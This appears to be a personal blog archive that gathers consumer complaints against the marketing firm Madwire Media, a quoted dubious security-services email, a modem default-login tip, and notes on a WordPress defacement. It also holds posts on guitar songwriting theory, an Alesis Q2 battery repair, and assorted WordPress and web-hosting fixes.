http://oxydry.co/carpet-cleaning-marketing/ and watch my video directed at you, my peers. Also, you can go here http://oxydry.co/madwire-media-reviews/ and if you don’t mind, please leave a comment on the pages. Your help in this matter is greatly appreciated and I hope I am able to dig myself out of this hole.

Thanks to all.

Read more: http://www.truckmountforums.com/threads/madwire-media-reviews-warning-madwire-media-scam.47238/#ixzz2nH8DiZq9
Follow us: @truckmountforum on Twitter | truckmountforum on Facebook

From scamgroup.com

9/12/2013

Took my entire advertising budget and single handedly almost bankrupt me.

On May 28th, Karen Brennan with Madwire Media sent me an email but claimed to be from CarpetCleaningMarketing360.com. Now this is one of many of their niche scam sites that they have. Over the course of a month she called and called and called. Finally I decided to listen to her and what she told me sounded amazing. She made all kinds of promises about me getting 15-20 calls per day with their marketing and seo. Well I was just starting a business and decided to go with Madwire Media because I simply didn’t have time to go out and actually do the work I needed to do on top of trying to market and advertise. Karen told me that based on the amount of monthly Google searches for my keywords, I would get 15-20 calls per day and I figured I should at least book 2-3 of them. So I sent them a large some of money, my entire advertising budget based on the promises made.
Fast forward to the date of this report. My campaign has been running for over 2 months now. I got one call in 2 months and it was a $60 job, 45 miles from me. They are targeting niche long tail keywords that are barely related to my industry and get very few searches. My seo campaign is horrible. They have control of my website and can lock me out at any time. XXXX XXX XXXXXX XXXX XXXXXXXXX XX XXXX.
Now in the meantime, I have had my phones turned off and I literally cannot pay my bills. I gave them my entire advertising budget because they promised me a big jumpstart in business and promised I would be busy. XXXXX XXX XXXXX XXX XXXXXXX that do NOT know what they are doing,One thing they should have thought about before XXXXXXXXX XX XXXXX and destroying my business…… I was an seo guy for 7 years, I am a single father with 3 children and this is my lively hood. I put my entire savings into my idea and they single handedly destroyed it. So, I have made it my mission to make sure they don’t XXX anyone else off. I am broke, getting ready to have equipment repossessed if I can’t sell something to make the payment, I have resorted to applying for emergency food stamps to feed my children until I can recoop something or until my seo efforts pay off.
I have asked them for a refund several times and they have refused, therefore, I am going to make sure they never steal from another company or person that needs seo work or internet marketing services.
Madwire Media has gone around to all these review sites including ripoff report and have posted fake positive reviews because of all the negative reviews they are receiving. They are paying these companies like yelp and ripoff report to remove negative reviews so they can keep their Madwire Media Review XXXXX up.They XXXXXXXXX my business, I have nothing left to lose. I will make it my plight in life to shut these XXXXXXXXX down. I hope that Scam Group will help shut these guys down before before someone else loses their life savings to these XXXX artists. XXXXXXX XXXXX XXX XXXXXXXX XXX XXXX XXXX XXXX XXXXXX XXXX XXX. I will not sit by idly and let them XXXXX from others.

From a comment on one of MADWire’s own YouTube videos 

Be very careful about using Madwire Media. We spent over $3k with them and didnt get 1 single client. Our website had images missing and took 7 weeks to complete rather then the 14 days we were told. If you do want to use them make sure you record every telephone conversation you have with them and get everything the sales person tells you in writing!! Do your research before using Madwire Media! There appears to be a consistantly to the negitive feedback which tells its own story!!

there were similar testimonials on some other youtube videos I found last night, but they’ve been deleted.

Now on to RIPOFFREPORT.com

It seems that when you get a negative review on ripoffreport.com, you can pay to have it covered up!  For instance, with Madwire, if you search for “madwire reviews” you certainly find ripoffreport, but the titles are negative and review copy is a boilerplate positive thing put there by ripoffreport!  Dubious.  I finally found a few of the original bad reviews at ripoffreport

9/25/2012

[redacted! ripoffreport sent my hosting a copyright infringement takedown notice because I quoted their site]

11/2/2012

[redacted! ripoffreport sent my hosting a copyright infringement takedown notice because I quoted their site]

from pissedconsumer.com, also highly astroturfed but there’s stuff there if you dig

August, 20xx
HERE is the original Negative Review of Madwire.  You must click on “Read the Complaint” 
[content removed due to copyright infringement claim by pissed consumer sent to my hosting compnay]

march 6 20xx

HERE is the original Testimonial about Madwire.  You must click on “Read the Complaint” 
[content removed due to copyright infringement claim by pissed consumer sent to my hosting compnay] 

Jan 29, 20xx

 

[content removed due to copyright infringement claim by pissed consumer sent to my hosting compnay] 

March 15, 2012

HERE is the original Customer Complaint about Madwire.  You must click on “Read the Complaint”

[content removed due to copyright infringement claim by pissed consumer sent to my hosting compnay] 

 

March 1, 2013

HERE is the original Customer Complaint about Madwire.  You must click on “Read the Complaint”

[content removed due to copyright infringement claim by pissed consumer sent to my hosting compnay] 

 

January 29, 2013

HERE is the original Customer Complaint about Madwire.  You must click on “Read the Complaint”

[content removed due to copyright infringement claim by pissed consumer sent to my hosting compnay] 

 

It’s me again.  I have stuff to do today so I’m going to stop for now.  You get the idea.  Maybe I’ll add more later.

 

[update 2014-10-01]the following is a list of other domains that appear to associated with Madwire. If it’s the same people, I don’t see any reason why there’s not plenty of love to go around. It is ‘Loveland, Colorado; after all

  • bigcommercemarketing360.com
    html title: #1 Bigcommerce Marketing Platform | Bigcommerce Templates & Design
    Daily visitors (according to informer.com): 1 643
    Keywords:Big Commerce, bigcommerce, marketing 360, bigcommerce seo, marketing360
  • ecommercemarketing360.com
    html title: eCommerce Marketing Services – eCommerce Software & Website Templates
    Daily visitors (according to informer.com): 1 186
    Keywords:ecommerce 360, ecommercemarketing360 review, ecommerce360, ecommercemarketing360 scam, free ecommerce store mockup
  • mymarketing360.com
    html title: Login – Marketing 360®
    Daily visitors (according to informer.com): 686
  • contractormarketing360.com
    html title: Contractor Marketing, Leads for Contractors – Websites & Contracting Advertising Services
    Daily visitors (according to informer.com): 534
    Keywords:construction website templates, contractor marketing, ads website template, free building contractor website templates, free contractor website templates
  • businesswebsites360.com
    html title: Business Websites 360™ – Best Business Website Templates & Designs
    Daily visitors (according to informer.com): 534
    Keywords:business website templates, business marketing websites, top business websites, marketing website templates, mad360
  • mad360.net
    html title: Mad360 – The Leader in small business inbound marketing
    Daily visitors (according to informer.com): 534
    Keywords:360 marketing, marketing 360, marketing360, mad 360, mad360
  • wordpressthemedesigner.net
    html title: WordPress Theme Designer | Custom WordPress Theme Designers
    Daily visitors (according to informer.com): 534
    Keywords:custom wordpress theme design, wordpress theme designer, theme designer, custom wordpress theme designer, wordpress transportation theme
  • chiropracticmarketing360.com
    html title: Chiropractic Marketing 360 | Chiropractic Websites | Chiropractic Advertising | Chiropractic Website Templates
    Daily visitors (according to informer.com): 534
    Keywords:Chiropractic marketing, chiropractor marketing, 360 marketing, marketing 360, marketing360
  • dentistmarketing360.com
    html title: Dentist Marketing 360 – Dentist Websites | Dentist Advertising | Dentist Website Templates
    Daily visitors (according to informer.com): 89
    Keywords:dentist marketing, dental website templates, dentist website template, dentist website templates, template dentist free
  • medicalmarketing360.com
    html title: Medical Marketing 360 – Medical Websites | Medical Advertising | Medical Website Templates
    Daily visitors (according to informer.com): 89
    Keywords:medical website design, medical website design templates, healthcare marketing 360, doctormarketing360, youmedical template

The Registrant of all these domains appears to be John Kellogg who is also the CFO of a company called Traders Network or tradersnetwork.com which shares the same address as Madwire. I’m not sure but John Kellogg may be the same person as Joe Kellogg and/or JB Kellogg.

Before Hiring MADWIRE, Be Warned

OK, so I have no doubt that there are plenty of honest and capable people at MadWire, or MadWireMedia, or MadWire 360 or whatever.

But there are some things you should be aware of before signing a contract with them.  I’m writing this because in searching for anything negative about Madwire, I’ve found that they have completely bombed google.  And meanwhile, they are buying Pay Per Click Ads like nobody’s business, so it’s really hard to see through their promotional efforts, which I must admit, are pretty thorough.  But such a substantial publicity push serves as what is essentially a reality distortion field for you and me–The kind that would make us think that Godaddy is actually the best choice for shared Linux hosting, which I think most developers would agree, it isn’t.

So here’s the thing I want to warn you about.  It is quite possible, in my opinion, according to what I’ve seen, that if you do not carefully negotiate your contract with Madwire, you will find yourself locked into a perpetual hosting agreement in the ballpark of $50/month.

AND

The Design work you hired them to do, they (or their legal representation) will claim is their intellectual property.  So you can walk away from a hosting agreement that’s about 8-10 times more expensive than it should be, and have nothing, or continue to throw an unnecessary $30=$40 or more dollars into the wind every month, essentially FOREVER.

In other words, what someone I know was lead to sign off on, according to someone at Madwire or claiming to legally represent them, was not Work-for-hire.

Good Web Developers (I include myself in this category, thank you) working for individuals and small organizations understand that the client is best suited if they always have as many options as possible.  Those options necessarily include the ability to hire someone else at any time and/or do other things with the hosting they are paying for.

This means:

  • whenever possible, use non-proprietary code such as WordPress, Drupal, Joomla, Concrete5 Etc (making easier to hire from a pool of other developers out there)
  • The Client should own their own Domain Registration
  • The Client should own their own Hosting Account.
  • All design work should be work-for-hire.  Ownership of the design needs to be the client’s
  • All build work should be work-for-hire.

My understanding is, according at least to one contract I know of with Madwire, their model is that you “rent” their design and development work, contingent on whether or not you continue to pay them way too much every month for hosting that you do not actually have the freedom to use.

And if you want out?  Well, as far as I know, they will then want to be paid off for the release of rights to what should have been work for hire in the first place.

So please, take these things into consideration before hiring Madwire or anyone else including ongoing hosting charges as part of the proposal.

 

 

Dubious Solicitation Regarding WP Security: Clearwater Security Research Lab

Dear [your name here],

How are you? I am Fahad Hassen, a php developer from Clearwater working
with website security. I am writing to ask whether you are aware that your
domain configuration has serious security issues which lets anyone use your
email address without your authorization?

Just to prove this to you, I can send an email to you from “your email
address itself”. Do you want me to send an email to you from your mailbox
itself, so you can see the problem?

I found your website while researching the websites using the wp-e-commerce
plugin, as part of a security research to strengthen the plugin’s security.
I also found that your website’s wordpress files are not protected, which
means by right clicking and checking the source code of the website, almost
anybody can figure out the framework you are using (wordpress), its
version, the themes and plugins you are using etc. A competitor or anybody
interested in your site can easily duplicate your site since the whole
structure of your site is exposed. Further, since wordpress is very prone
to hacking and hackers target the open URLs of the system such as wp-admin
and wp-login and other common files, your site is always under the risk of
attack. To overcome this, you will need to takeaway all the traces of a
standard wordpress site, so no attacks/hacking will work on your site. For
anybody viewing the “source”, all they will see is nice and clean HTML and
no traces of wordpress.

I am sure you understand the concerns I have raised, and I can fix these
for you for a very modest fee if you wish. Please let me know.

Thank You and Regards,

Fahad Hassen
Senior PHP Developer
+1 727 474 1044

Clickingz Security Research Lab, Clearwater FL. 33760

Comcast Xfinity Modem/Router Default Password 2013

I was on the phone for an hour and a half getting transferred all over the world trying to get into my new Xfinity Cable Modem’s settings!  At one point they were going to transfer me to someone that was going to charge me $80 to tell me how to log into my modem!  I told them to send me back to the regular non-“advanced” technicians and finally I got a guy who knew what I was talking about.

The defaults are this.

http://10.0.0.1

username:

admin

password:

password

So simple.  Jeez.

Siktim Ebeniii/Hacked By NmDumuT WordPress Hack… Jumpline Etc

By googling the code, I was able to find many other sites with the same problem (below)…
The vast majority of these are on servers at either
ns1.myhostcenter.com
or
ns1.hostable.com

Jumpline resides at myhostcenter.com, as far as I can tell.  Perhaps they are a reseller or something.

http://bgexperience.com/site/
http://cheesecakewonderland.com/
http://bgexperience.com/site/
http://webcache.googleusercontent.com/search?q=cache:bEXHa9lCODQJ:www.acraelectricinc.com/energy-efficiency/+Siktim+Ebeniii&cd=3&hl=en&ct=clnk&gl=us&client=safari

This is malware.
And from what I can tell, what it is attempting to do is this:
http://webcache.googleusercontent.com/search?q=cache:f6lfy0JsDHAJ:universeisp.com/home/+Siktim+Ebeniii&cd=11&hl=en&ct=clnk&gl=us&client=safari
or this
http://hayuprabowo.com/

If you google “Siktim Ebeniii,” you’ll find a bunch of other sites that have been hacked this way.
http://www.google.com/search?client=safari&rls=en&q=Siktim+Ebeniii&ie=UTF-8&oe=UTF-8

Usually, these kinds of attacks happen as a result of not having up-to-date software.  But they also happen because of unsafe server settings and since most of these compromised sites seem to be related to myhostcenter.com, I think the latter is a reasonable suspicion. This happened a few years back with a hosting provider called “Network Solutions” and in fact, Godaddy was attacked pretty hard recently, if I recall correctly.
http://blog.sucuri.net/2010/04/details-on-the-network-solutions-wordpress-mass-hack.html

A letter to my friend: Composing with a Guitar and avoiding Dominant Chords

Our Tendancy

I think the kinds of chord progressions you (and I sometimes) tend to prefer are usually ambiguous about whether or not the music’s in a major key or in its relative minor (C vs Amin) and you (and I sometimes) tend to make chord changes that are “weak” by traditional/classical/theoretical/bullshit standards, but of course aren’t weak at all because they sound fine by modern rock-n-roll standards.  But I have some things to say about songwriting with guitars and stuff.

Disclaimer

BTW, none of this is a criticism of you.  I have a lot of the same tendencies. This is just an observation and me thinking out loud and wondering if you might benefit from my thoughts on this.  I avoid tritones as well and so does most hard rock music, at least in the guitar and bass.

Traditional Resolve

In music theory, things tend to get broken down into two-chord resolutions, how one chord leads to the next (which can then be seen as the first of the next set of two).

This is typically done via the Dominant chord(V or viiº) resolving to the Tonic (I), and that sequence is often preceded by the Predominant (IV or ii).  All of this centers around the Tritone, which essentially only occurs in one place in a Major key, between the 7th and 4th degree of a major key. G7, C… or Bº, C. (Dominant, Tonic), or with the Subdominant F, G7, C or F, Bº, C (F is IV, and is pretty much interchangeable with ii as in Dmin, G7, C or Dmin, Bº, C).  The reason the resolve is so strong has mostly to do with the fact that the two notes in the Tritone Interval in the Dominant (B & F) resolve by a half-step (“Leading Tones”) in two different directions! B is a leading tone of C (upward by a half-step) and F is a leading tone of E (going downward by a half-step)

(there are several other layers to this line of thinking, particularly “Tritone Substiution” and Dominants of chords besides the Tonic but the basic deal is that you have a lot of “Leading Tones” which are notes changing by a Half-step to the resolved or next chord, and a lot of chord changes that move up by 4th’s or down by 5ths)

Guitars

Tritones don’t sound very good to you and me in the lower notes of a guitar when the guitar is the majority of what you’re hearing.  You tend to avoid them and so do I.  I think the reason why is because they evoke the memory of Blues music when played in bigger chord forms (like an open G7 chord, a regular G with an F as it’s highest note), or they sound kind of like some sort of savage flamenco music when played in smaller chords (like a power chord with a flat 5th)…

The reference to Blues would likely steal the thunder of the kinds of mood you’re trying to keep (especially with your implied preference for modal/classical chord changes).  It’s as if the music suddenly yelled “Time to get funky” in the middle of a church hymn, or someone is interrupting “…And many more” as if after singing “Happy Birthday to You” or “…Oh great.  A barbershop Quartet!” And when the Tritone is voiced in a diminished power-chord (C, G flat, C) on the lower guitar strings it’s like “Is this a Primus song?”

Diatonic Vs Modal

When I first met you, your high school band’s chord progressions were mostly of a “Modal” nature, and that persists today.  I say Modal instead of “Diatonic” because you often don’t emphasize the Tonic.  But you do often stay within a key pretty rigidly.  This I think is because of guitars and the way rock-n-roll chord voicings are so commonly built. 1, 5, 1, 3, 5, 1 (E type Bar Chord), 1, 3, 5, 1, 3, 1 (G type Bar Chord) and 2nd Inversion Triads (5th at the bottom) 5, 1, 3…

This kind of locked-position playing (using the same basic left-hand shape, as in bar chords) leads to something that traditional music practice has  avoided for hundreds of years, the dreaded “Parallel Perfect Interval”  But in rock music, it’s almost the *only* thing we do! (power chords).

But your (and occasionally my) preference for Modal chord changes demonstrates a reverence for old time classical uptight properness. And it’s often a beautiful thing.

Counterpoint/Voice-Leading Vs Guitar Rock

There is a very old tradition of voice arranging called “Counterpoint” which is sort of a set of rules for arranging multiple voices.  One of the “Rules” of Counterpoint is to never allow Perfect Intervals(PU, P4, P5, P8) of any two voices to move in a parallel motion. If the first harmony was D over G, the next chord cannot be C over F.  Instead, you would need to invert one of the harmonies (F over C for instance). Notice, this pretty is much the exact opposite of what guitar’s easy movable chord system encourages.

I think Parallel Fifths/Fourths/Octaves are so horrible sounding in the classical sense that they are the reason that hard rock has such an edgy in-your-face sound.  Kind of like a middle finger to the guy with the white wig.  Very punk.  The Parallel Perfects (Octaves, 5ths and 4ths) dominate EVERYTHING and imply a strong melody, or even more so (or even worse), two melodies that are exactly the same, but a 5th/4th apart.

But with the approach of counterpoint, I think, the goal is more like a braid of tonality.  The root of a given chord, or its 5th isn’t the natural note to assume is the melody note.  Instead, the highest note you hear is often the melody.  Or rather, each part is an independent melody, just as strong as the others, but totally independent.  It’s very elegant and beautiful.

We are afraid of the Tritone because of the guitar (but it’s still happening)

So what’s a guy like you or me with a guitar and its typical rock voicings (power chords and bar chords) to do?  Avoid the Tritone!

Besides, we all know the Modal chord sequence by heart, at least subliminally, since we’re all trained in it from birth.  C, Dmin, Emin, F, G, Amin, Bº, C.  For example, when we hear Emin and Amin only, we pretty much already know we’re in C or G Major, or their relative Minor keys, although probably not A Minor because E, the 5 of Amin, would probably be played as E Major in the Key of A Minor.  There are only two places in a Major Key where two Minor Chords are a 5th/4th apart.  They are iii-vi and vi-ii.  So a key is implied with as little as two chords!

A lot of Rock and Folk (and other guitar-heavy) music songs never play the Diminished 5th that makes the V chord or viiº chord “Dominant,” at least not with guitars.  But that doesn’t mean it isn’t there.  Singers and synths and strings and melodies often play additional notes that turn the overall sound into more colorful chords 7th, Maj7, Min7, Sus, #9 Etc.

Other Instruments Broaden Our Creativity

It becomes really evident to me how restrictive songwriting is on a guitar, when I come up with something on piano, or just singing, or with intuitive synth layering, and then, take it back to the guitar and find myself using all sorts of strange and awkward guitar fingerings that, not only would I probably not have thought of, but if I did think of those chords while working solely on a guitar, I would have thought the chords/changes didn’t “work.”

And I really think this is because of all the “Parallel” 5ths, 4ths and Octaves (Perfect Intervals) that basic movable guitar chord forms yield.  For people like you and me, writing songs on a guitar basically guarantees bad form on a certain level: Less good Voice-leading and more avoiding Tritones and Dominants.

It’s all about voice-leading.  

In Jazz music, guitar players whom are playing with a group, are pretty much expected NOT to play the 5th of the chord (the root either for that matter).  They are supposed to focus on the tonal “skeleton” of the chord, which typically is the 3rd, 7th, 9th, Etc, and perhaps also the melody note, sometimes preferring that note on the top of the chord.  Good voicing also means making sure the leading tones (half steps) get utilized!

And in traditional orchestral music, there’s a lot of weight put on the importance of how independent voices move, especially to exploit leading tones.

Modal movements that sound strong on a guitar can be surprisingly not strong when expanded.

Moving from G to Emin, for instance, seems like a big move on a guitar, but in reality, only one note is changing.  The D in the G chord turns into an E. Movements of a 2nd, 4th, 5th or 7th make for better multi-melodies than 3rds and 6ths.  But the parallel motion of the Perfects (1st and 5th) in a 1-3 or 1-6 chord change hide how little is actually going on.  Not that it’s bad to do so, I’m just saying in a way, those weaker changes are variations of the same chord, even though to a lonely guitar, they sound pretty powerful.

Basically

I really think it’s valuable to understand the pitfalls of typical/easy guitar chord voicings.

A melody is a much better jumping off point for a composition than a guitar-only sequence made with parallel chord forms, unless they are particularly novel in some way.  Or an alien instrument that takes you out of the comfort zone of feeling like power chords are telling you what to do and what can be done.

 

FIX: Alesis Q2: First Made Strange Sounds, Then “Bad Program” Issue (QuadraVerb 2 Battery)

So I’ve had a Q2 since the Nineties and I like some of it’s effects.  But a while back when I wanted to use it for a Delay effect, it was acting funny.  Essentially the thing sounded like high-depth Chorus all the time!

So today, as I’m getting ready to work on a big project, I decided to look into this more.  Does it need to be cleaned inside?  I turned it on and it seemed that the Factory Preset Programs were fine, but now when going to create a User Program, the names of the Programs were all gibberish-y and when clicking the scroll wheel to “Select,” the name of the Program would just say “Bad Program”

Gibberish

Q2-1

 

“Bad Program”

Q2-2

So after a lot of Googling I finally found this. Turns out the problem is a dead battery soldered to the circuit board inside.

You can see it here, in the bottom right of the picture.  It’s a Panasonic BR-2325, a 3 Volt Battery with solder terminals on it. You can get them for a few bucks online, but I’m too impatient and resent shipping fees.

Q2-5

I replaced mine with a CR2025, a similar 3V coin battery that I had mistakenly purchased to replace a Mac Front-row remote.

But what to do about the missing Solder-leads?  It’s probably not good to cook a battery with a soldering iron, so I improvised a battery holder with two pennies.

Here’s the pennies with leads soldered to them

Q2-pennies

Next I put the battery between them. and taped it all together… I taped more than in this picture because I wanted to be sure there was very little possibility of shorting out inside the unit. I left my leads about 6 inches long so I’d have some slack to work with when soldering.

Q2-pack

 

Next I desoldered the old dead battery and soldered in the leads from my DIY battery pack

q2-soldered

Next, I gathered up the slack and taped the whole thing down onto the circuit board so it would rattle around inside the unit (while rocking out to tap tempo delay)

 

 

 

Q2-7

Finally, I  had to do a “Total Reset” of the unit, which unfortunately will delete your stored programs.  But I don’t think would have been stored anyhow, without the battery.  Not sure about that.

Total Reset:
A more drastic version of re-initializing the QuadraVerb 2 will erase all User Programs, as well as resetting all Global parameters. Hold down [PROGRAM], [COMPARE], and [<BLOCK] (block-left) simultaneously while turning on the power.

Now my q2 works again!

 

Digital Performer 8 Missing Plugins: FIXED! DP8 Plug-Ins

I was having trouble with Antares Auto-Tune Evo, Auto-Tune EFX and QuikQuak’s Pitchwheel.

The fix is quite simple.

Go to the Digital Performer App in your Applications Folder.  Right-Click (or Control+Click).  Select “Get Info.” Check the box in the Get Info Window to “Open in 32-bit mode”

Now when DP starts, it will load those old plugins.

The reason is that DP8 is 64 bit.  So 32-bit plugins are ignored.  But DP 8 has a 32-bit mode for people like us who need to run old plugins.

Screen shot 2013-06-16 at 4.03.50 PM

Three Beeps at Startup-G4 Powerbook Caused by Stuck Keys!

Recently helped a friend with redoing the connections to the DC in on her old-ass Mac, a 12-inch G4 Powerbook.

After reassembly, the damn thing beeped three times as if there was bad RAM or “No Good RAM Sockets”

This was not the case.  Actually, there was simply a key stuck.  I mashed all the keys a few times and the thing came back to life!  I have no idea what key or keys caused this.  But before you have yourself convinced you fried your RAM or Logic Board, do yourself a favor and give your keyboard a massage!

Bluehost and Mac OS X Mail… The “Secret”

OK so here’s what the “Manual Settings” page at Bluehost doesn’t say.

You have to go to Account Information>>Outgoing Mail Server>>Edit SMTP Server List…

EDIT SMTP SERVER LIST
“Edit SMTP Server List” to change the outgoing mail server’s port to 26

[select yours…”box123.bluehost.com”]

Click on the advanced tab and check off  “Use Custom Port” and set it to 26. (no SSL)

Screen shot 2013-04-25 at 2.32.11 PM
This is where you set the Outgoing Mail Server’s Port… I’ve noticed that sometimes the Password on this settings page doesn’t stay… So double check that it’s still there if you still are having trouble sending mail.

 

  Then Quit Mail! and reopen it.

This is how your main Account Information screen should look in Mail's Preferences
This is how your main Account Information screen should look in Mail’s Preferences

 

Screen shot 2013-04-25 at 2.31.48 PM
This is how the Advanced Tab should look

 

…Anyway, here’s what settings are working for me:
Manual Settings
Mail Server Username: name@yourdomain.com
Incoming Mail Server: box123.bluehost.com port 143 (server requires password authentication) (no SSL)
Outgoing Mail Server:  box123.bluehost.com (server requires password authentication) port 26 (no SSL)

April 2013 – Some News Concerning Malware Attacks on WordPress Sites

First off, Here’s Matt Mullenweg‘s blurb about the recent botnet attacks on WordPress sites.  It’s good to listen to him because he’s the “founding developer” of WordPress, and the President of the company Automatic which is behind wordpress.com, among other things.

http://ma.tt/2013/04/passwords-and-brute-force/

From Matt:

supposedly this botnet has over 90,000 IP addresses, so an IP limiting or login throttling plugin isn’t going to be great (they could try from a different IP a second for 24 hours)

I’ve been noticing a few popular shared hosting providers have been having infrastructure problems lately.  I thought it was a coincidence, but after attempting to do some work on a client’s site hosted at Fatcow (not my favorite host, but they’re OK), I got hip to the fact there is actually a bit of internet-wide drama going on at the moment with WordPress sites getting hacked, or at least many attempts at this.

Here’s a message Fatcow sent out to its customers.

Important Information about Protecting Your WordPress Site

Dear [customer’s name],

Do you have a WordPress account with us? If so, we wanted to let you know about an attack on WordPress sites that started earlier this week, what we’ve done to combat it, and what you can do to protect yourself.

On Tuesday, a widespread “brute force” attack against WordPress started impacting sites across the internet. This attack is leveraging a botnet, which looks to have more than one hundred thousand different computers at its disposal. Its intent is very simple: to find and compromise WordPress sites with simple passwords, likely to use them later to distribute malware (and further increase the size of the botnet).

Over the past few days, we’ve made a number of changes to our network and infrastructure designed to mitigate the impact of this attack on our customers’ websites. Continue reading for a detailed account of what we’ve done »

Also, and we can’t stress this enough, we urge you to check your WordPress password and make sure it’s a strong one. The strong password guidelines in our Knowledgebase refer to your FatCow account password, but that advice is good for WordPress passwords, too!

We head into the weekend in good shape, but vigilant against a returning or altered attack. For those of you who have been impacted by these attacks, or our attempts to combat them, we do apologize for any service disruption. We also apologize for a longer-than-normal response time over the last few days while we’ve had “all hands on deck” addressing this issue. We appreciate your patience and understanding.

Sincerely,

The FatCow Team

Bottom Line: Harden your WordPress site a little.

  • Keep your WordPress Core software and plugins and themes up to date!
  • Use Capitals, Lowercase, Numbers and Symbols in your passwords… Avoid guessable/dictionary words
  • If you have a user called “Admin” or “admin,” take a moment to get rid of it.
  • If installing from scratch, modify your database table prefix in wp-config.php to something other than “wp_”
  • Never use any theme, plugin or hosting provider that forces you into leaving folder and file permissions set to be permanently extra lenient (if someone tells you to change a directory to 777, they don’t know what they’re doing or your hosting provider’s server settings are wack…)
  • Stay on top of comment moderation.  If you find yourself with thousands of unmoderated comments waiting for approval, and you don’t want to do the work, perhaps you’re not cut out for participating in that way with the masses, or you just don’t have the time.  Just turn comments off!

There are TONS of free plugins that can help you scrutinize your WordPress install.  I use this from time to time: WP Security Scan.

Woo Theme (Delegate), Slider Broken, Pound Sign ( # ), Fixed

One of my clients has been using a theme by Woo called Delegate for a few years.  We recently encountered an issue where the home page slider stopped working, resulting in its contents just being empty and the navigation buttons only resulting in a # added to the end of the URL.

Here’s what I learned.

  1. in the theme’s folder, in /includes/theme-actions.php,  ~line 84, there is a section of code that starts with an html comment <!– Slider Setup –>… This is followed by a script that is set with PHP to only load if the current page “is_home” like this<script type=”text/javascript”>
    <?php if ( is_home() ) { ?> …Now, despite what this sounds like it means, is_home actually refers to your main posts page, so if you have a static front page in Settings>>Reading, this will return false.  Alter this conditional tag as follows to make the slider setup script run on your non-posts-page homepage.<script type=”text/javascript”>
    <?php if ( is_home() || is_front_page() ) { ?> …the “||” basically means “or” so now the conditional tag reads ‘if is main posts page or static front page’
  2. in the theme’s folder, in /includes/theme-js.php,  ~line 4, there is another instance of the conditional tag “is_home” that loads two Javascript files into the <head> of the html… This also needs to be changed if you’re using a static front page.if ( is_home() || is_front_page() ) {
    wp_enqueue_script( ‘jqueryEasing’, get_template_directory_uri() . ‘/includes/js/jquery.easing.min.js’, array( ‘jquery’ ) );
    wp_enqueue_script( ‘slides’, get_template_directory_uri() . ‘/includes/js/slides.min.jquery.js’, array( ‘jquery’ ) );
  3. Since we were using a custom page template that didn’t come with the theme (essentially a copy of index.php, but some modifications), we also needed to update the page template file, copying the new version of the slider’s activation from the new version of index.php<!– Featured Slider –>
    <?php if ( get_option( ‘woo_slider_disable’ ) != ‘true’ ) { get_template_part( ‘includes/slider’ ); } ?>
    <!– Featured Slider end –>

That’s basically it.  Keep in mind that updating the Woo Framework will likely overwrite these alterations, so back them up!!

Fix: WordPress Media Library and Attachments Broken After Moving/Cloning Site

I’ve spent countless hours on this problem after it’s happened to three of my clients.  Turns out what has been going wrong, isn’t simply an Automatic Post Thumbnails or Auto Featured Image Plugin, and it’s mostly not simply a difference in Server Configuration (PHP version or whatever)…

For years now, I have made it a point to change my clients’ table prefix from wp_ to something more unique for security purposes, and because it allows me to use the same database which simplifies the process of switching between to versions of a WordPress installation.

I’d duplicate the current site to a subdirectory like /staging/, or whatever, download the database, open the database in a programming text editor, do a find and replace for the domain, replacing all instances so they include the extra directory, then, because it was the perfect opportunity to do so, I’d also do a find and replace to turn all intances of wp_ with xyzabc_ then save the file and import it into the existing database and switch the wp-config.php file in the subdirectory version of the site to use the new xyxabc_ table prefix.

Now I’d have a nice sandbox environment to test out upgrades to the site or any major changes.  Not anymore.  You can no longer simply find-and-replace the table prefix in the database.  I’ve noticed this as of WordPress 3.4.1.  In the past I have only had this problems with sites running Woo themes.

session_start() [function.session-start]: error is godaddy’s fualt

Basically, you may have just spent hours trying to figure out why after changing your site’s directory, you are getting various errors that appear to be the result of your functions.php file or a plugin, or in my case, both.

here’s what you ned to do. (taken from http://wordpress.org/support/topic/plugin-wp-e-commerce-errors-immediatley-after-activating-plugin, which was hard as shit to find)

Solution:

Create a php5.ini and save it in your root folder. If you have various websites under one server, then it will be saved where you can view all the websites’ folders.

Create a folder in the root named “tmp” (without “s)

Type this inside the php5.ini :

session.save_path = “/home/content/##/#######/html/tmp”
upload_tmp_dir=/tmp

*The #s are replaced by what your hosting provider gave you. In Godaddy, when you enter your Hosting Control Center it will be the Absolute Hosting Path under Server.

Save it

Good riddance.

Godaddy Sucks.

 

fix: Joomla/Sobi2 field_phone not appearing in vcard/search results

The reason that the phone numbers wont show up in the search results of a Sobi2 system simply by adding somthing like the following to your sobi2.vc.tmpl.php file is…

<?php if($fieldsObjects['field_phone']->data)
 { echo $fieldsObjects['field_phone']->data;
 } ?>

…You actually have to go into the settings for the phone field and tick the box to allow it to be shown when the system is displaying the search results (which is the vcard template, AKA sobi2.vc.tmpl.php)

Components>>Sigsiu Online Business Index 2>>Custom Fields Manager>>Phone (field_phone)

Click the “In Category View” box in the “Show Field” section.  If you don’t do this, the PHP code you’ve likely copied from the sobi2.details.tmpl.php file will be ignored and the phone number will not be displayed.

Madness.